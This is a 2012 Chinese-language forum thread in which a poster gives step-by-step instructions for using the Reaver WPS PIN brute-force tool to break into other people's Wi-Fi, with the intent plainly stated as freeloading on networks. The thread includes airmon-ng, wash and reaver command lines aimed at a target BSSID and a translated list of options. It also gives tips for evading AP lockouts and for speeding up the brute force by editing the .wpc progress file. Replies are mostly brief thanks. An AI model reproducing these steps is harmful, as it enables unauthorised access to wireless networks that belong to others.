jonepjxh 发表于 2012-2-3 11:12

reaver 使用方法和技巧

本帖最后由 jonepjxh 于 2012-2-3 16:39 编辑

reaver非常的不错,为我们ceng网带了最大的方便,使用简单,我来讲一下自己使用心得吧!
第一步,如果用虚拟机用vmware的,总会出现鼠标不灵点不到地方,换了一个 6.0.2 build-59824 版本后,鼠标变的非常的好用。但是自己还是想用新版,所以在网上看到说是选择linux系统就可以,自己就打开--编辑虚拟机设置---选项---虚拟名称---linux---ubuntu,试了一下鼠标问题就解决了。
第二步,是选择适合你的网卡linux系统,
1、现在有xiaopan 0.3.5对 8187L支持最不好,0.3.3对8187支持挺好。下载地址:http://anywlan.com/bbs/viewthread.php?tid=116228
2、还有就是cdlinux这个是最好,对网卡支持最多,程序也最多,特别是可以对硬盘文件复制方便使用,缺点就是容易死机。下载地址:http://anywlan.com/bbs/viewthread.php?tid=116572
3、beini这个也是最好的不过要自己手动添加reaver升级,优点是稳定,特别是1.1加强版对8187L支持最好,缺点就是作者再也不升级了。升级方法参考这里:http://anywlan.com/bbs/viewthread.php?tid=116600
第三步,使用reaver方法:
airmon-ng start wlan0//启动mon0监控
reaver -i mon0 -b xx:xx:xx:xx:xx -a -S -vv -c 频道
-i 监听后接口名称
-b 目标mac地址
-a 自动检测目标AP最佳配置
-S 使用最小的DH key,可以提高PJ速度
-vv 显示更多的非严重警告
-d 即delay每穷举一次的闲置时间 预设为1秒
-c 频道
-p PIN码四位或八位//可以用8位直接找到密码。
在11楼有更详细参数的说明
当出现有百分数时你就可以用crtl+c来暂停,它会将reaver的进度表文件保存在
1.3版:
/etc/reaver/MAC地址.wpc
1.4版:
/usr/local/etc/reaver/MAC地址.wpc
用资源管理器,手工将以MAC地址命名的、后辍为wpc的文件拷贝到U盘或硬盘中,
下次重启动后,再手工复制到/etc/reaver/ 目录下即可。
还有命令
airodump-ng mon0 用来扫描周围无线信号
wash -i mon0 -C 这个是用来检测周围无线支持PIN的路由
第四步:技巧
将mac地址.wpc 备份后,下次可以继续使用。
wpc结构
0                  //这个地方是说它的前4位PIN码的进度位置数
0                  //这个地方是说后3位PIN数的已经运行测试位置数
0                  //0时没有找到,当为1时找到前四位,当为2时全部找到。
1234
0123
1111
2222
3333
.......
.......
9999
001
002
003
.....
.....
999
所以前四位很重要,将已经知道的前四们放在最前面会提高你的PIN速度,我们也可以手动修改wpc文件第一行,如我们要从3000开始pin你可以将它修改为3004,这样它就会从3000开始PIN了。当我们在PIN时就可以不用保存虚拟机快照了,只要你记住了前四位,你下载用软件修改WPC文件就可了。同样我们也可以用http://forum.anywlan.com/thread-116174-1-1.html这个作者提供的优化PIN码加快速度。
cdlinux对wpc文件最方便,beini和xiaopan对wpc修改要用命令vi来修改,vi的使用方法很简单 vi XXXX.wpc 打开就可以了,输入i进行编辑,escap退回命令模式,输入:wq退出保存。具体方法看这里:http://www.newsmth.net/pc/pccon.php?id=5721&nid=220783
最后提供自己优化WPC文件,

hw555 发表于 2012-2-3 11:22

cdlinux对wpc文件最方便,怎么使用?

zhang5695 发表于 2012-2-3 11:23

顶沙发~~~~~!!

xieronghua 发表于 2012-2-3 11:30

很详细,顶

kevin0807 发表于 2012-2-3 11:40

很详细,顶

pocc 发表于 2012-2-3 11:42

路过进来赚个金币

yuanmo 发表于 2012-2-3 11:53

很详细,顶

bzf 发表于 2012-2-3 11:57

很详细,顶

jonepjxh 发表于 2012-2-3 12:01

cdlinux对wpc文件最方便,怎么使用?
hw555 发表于 2012-2-3 11:22 http://anywlan.com/bbs/images/common/back.gif
在wpc文件上点右键选择第一个就可以编辑了。

lidayi87 发表于 2012-2-3 12:14

很详细,顶

jonepjxh 发表于 2012-2-3 12:17

Reaver v1.4 WiFi Protected Setup Attack Tool
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner <cheffner@tacnetsol.com>


Required Arguments:
-i, --interface=<wlan>Name of the monitor-mode interface to use
                        网卡的监视接口,通常是mon0
-b, --bssid=<mac>       BSSID of the target AP
                        AP的MAC地址


Optional Arguments:
-m, --mac=<mac>         MAC of the host system
                        指定本机MAC地址,在AP有MAC过滤的时候需要使用
-e, --essid=<ssid>      ESSID of the target AP
                        路由器的ESSID,一般不用指定
-c, --channel=<channel> Set the 802.11 channel for the interface (implies -f)
                        信号的频道,如果不指定会自动扫描
-o, --out-file=<file>   Send output to a log file
                        标准输出到文件
-s, --session=<file>    Restore a previous session file
                        恢复进程文件
-C, --exec=<command>    Execute the supplied command upon successful pin recovery
                        pin成功后执行命令
-D, --daemonize         Daemonize reaver
                        设置reaver成Daemon
-a, --auto            Auto detect the best advanced options for the target AP
                        对目标AP自动检测高级参数
-f, --fixed             Disable channel hopping
                        禁止频道跳转
-5, --5ghz            Use 5GHz 802.11 channels
                        使用5G频道
-v, --verbose         Display non-critical warnings (-vv for more)
                        显示不重要警告信息 -vv 可以显示更多
-q, --quiet             Only display critical messages
                        只显示关键信息
-h, --help            Show help
                        显示帮助


Advanced Options:
-p, --pin=<wps pin>          Use the specified 4 or 8 digit WPS pin
                               直接读取psk(本人测试未成功,建议用网卡自带软件获取)
-d, --delay=<seconds>      Set the delay between pin attempts
                               pin间延时,默认1秒,推荐设0
-l, --lock-delay=<seconds>   Set the time to wait if the AP locks WPS pin attempts
                               AP锁定WPS后等待时间
-g, --max-attempts=<num>   Quit after num pin attempts
                               最大pin次数
-x, --fail-wait=<seconds>    Set the time to sleep after 10 unexpected failures
                               10次意外失败后等待时间,默认0秒
-r, --recurring-delay=<x:y>Sleep for y seconds every x pin attempts
                               每x次pin后等待y秒
-t, --timeout=<seconds>      Set the receive timeout period
                               收包超时,默认5秒
-T, --m57-timeout=<seconds>Set the M5/M7 timeout period
                               M5/M7超时,默认0.2秒
-A, --no-associate         Do not associate with the AP (association must be done by another application)
                               不连入AP(连入过程必须有其他程序完成)
-N, --no-nacks               Do not send NACK messages when out of order packets are received
                               不发送NACK信息(如果一直pin不动,可以尝试这个参数)
-S, --dh-small               Use small DH keys to improve crack speed
                               使用小DH关键值提高速度(推荐使用)
-L, --ignore-locks         Ignore locked state reported by the target AP
                               忽略目标AP报告的锁定状态
-E, --eap-terminate          Terminate each WPS session with an EAP FAIL packet
                               每当收到EAP失败包就终止WPS进程
-n, --nack                   Target AP always sends a NACK
                               对目标AP总是发送NACK,默认自动
-w, --win7                   Mimic a Windows 7 registrar
                               模拟win7注册,默认关闭

------个人心得---------------------------------------------------------

对一个ap刚开始pin的时候打开-vv参数,如果顺利,就中断,然后改成-v继续pin,反正进度是可以保存的
reaver -i mon0 -b xx:xx:xx:xx:xx:xx -d 0 -vv -a -S

如果一直pin不动,尝试加-N参数
reaver -i mon0 -b xx:xx:xx:xx:xx:xx -d 0 -vv -a -S -N

martin325 发表于 2012-2-3 12:17

谢谢分享:handshake
页: [1] 2 3 4 5 6 7 8 9 10
查看完整版本: reaver 使用方法和技巧